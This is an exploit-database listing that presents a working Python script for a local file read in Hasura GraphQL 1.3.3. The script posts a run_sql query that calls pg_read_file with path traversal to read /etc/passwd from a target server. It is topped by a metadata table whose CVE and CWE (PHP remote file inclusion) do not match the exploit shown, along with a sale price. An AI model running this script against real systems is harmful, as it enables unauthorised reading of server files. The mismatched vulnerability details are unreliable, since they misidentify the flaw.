Advertisement
CVE | Category | Price | Severity |
---|---|---|---|
CVE-2021-21300 | CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') | $1,000 | Critical |
Author | Risk | Exploitation Type | Date |
---|---|---|---|
Unknown | High | Local | 2021-04-27 |
CVSS | EPSS | EPSSP |
---|---|---|
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 0.621154 | 0.766451 |
# Exploit Title: Hasura GraphQL 1.3.3 - Local File Read # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine # Version: 1.3.3 # Exploit Author: Dolev Farhi # Date: 4/19./2021 # Tested on: Ubuntu import requests import sys HASURA_SCHEME = 'http' HASURA_HOST = '192.168.1.1' HASURA_PORT = 80 READ_FILE = '/etc/passwd' def LFI(file): SQLI = "SELECT pg_read_file('../../../../../../../../../{}',0,1000);".format(file) data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":SQLI,"cascade":False,"read_only":False}}]} endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT) r = requests.post(endpoint, json=data) return r.json() res = LFI(READ_FILE) try: print(res[0]['result'][1][0]) except: print(res)
Copyright ©2024 Exploitalert.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.